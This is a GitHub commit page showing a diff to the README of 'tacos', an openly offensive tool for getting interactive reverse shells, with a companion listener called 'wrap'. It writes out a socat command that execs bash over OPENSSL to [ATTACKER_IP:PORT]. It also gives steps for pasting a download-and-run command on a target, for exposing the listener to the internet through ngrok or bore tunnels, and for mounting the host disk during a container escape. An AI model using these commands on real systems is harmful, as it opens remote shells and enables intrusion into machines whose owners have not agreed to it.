Skip to content

Commit 0c5617d

Browse files
authored
Update README.md
1 parent 0e7ea06 commit 0c5617d

File tree

1 file changed

+18
-11
lines changed

1 file changed

+18
-11
lines changed

README.md

Lines changed: 18 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -30,23 +30,21 @@ socat exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP:PORT],v
3030

3131
## Usage
3232

33-
`tacos` is built to work with the simple and dramatically effective project [`pty4all`](https://github.com/laluka/pty4all):
33+
« I quicly want an interactive reverse shell», take a wrap! 🥙
3434
```shell
3535
# On attacker machine
3636
tmux
37-
./light-pty4all/socat-listener.sh --lhost [ATTACKER_IP] --lport [ATTACKER_PORT] #multi-handler
37+
wrap --lhost [ATTACKER_IP] #launch socat listener + output command to run on target
3838

39-
# On target (transfer tacos as you wish)
40-
./tacos [ATTACKER_IP]:[ATTACKER_PORT] # or .\tacos.exe [ATTACKER_IP]:[ATTACKER_PORT] for windows
41-
# 💥
39+
# On target
40+
# paste command outputted by wrap: it will download tacos, and launch it to obtain the interactive revshell
4241
```
4342

4443
<details>
4544
<summary><h4>🎁 Bonus n°1: expose listener to the world wide web</h4></summary>
4645
Useful if target can't directly reach the attacker machine, but has internet access
4746
<br> On attacker machine, install <code>ngrok</code> or <code>bore</code> and launch your listener:
48-
<pre><code>
49-
./light-pty4all/socat-listener-behind-tunneling.sh
47+
<pre><code>wrap -n
5048
</code></pre>
5149

5250
<i><b>N.B:</b></i> ngrok is more stable than bore for now
@@ -87,26 +85,35 @@ mount /dev/sda1 /mnt/hostfs
8785
</blockquote>
8886
</details>
8987

90-
## Install
9188

92-
### Docker
89+
## Install
90+
### tacos
91+
#### Docker
9392
```shell
9493
docker pull ariary/tacos
9594
```
9695

97-
### Release
96+
#### Release
9897
```shell
9998
curl -lO -L -s https://github.com/ariary/tacos/releases/latest/download/tacos && chmod +x tacos
10099
```
101100

102-
### From git
101+
#### From git
103102
need `go`:
104103
```shell
105104
git clone https://github.com/ariary/tacos.git && cd tacos
106105
make before.build
107106
make build.tacos # or make build.tacos.windows
108107
```
109108

109+
### wrap
110+
need `nim`:
111+
112+
```shell
113+
git clone https://github.com/ariary/tacos.git && cd tacos
114+
make build.wrap
115+
```
116+
110117
## Alternatives
111118

112119
Alternatively, if target does not have `socat`:

0 commit comments

Comments
 (0)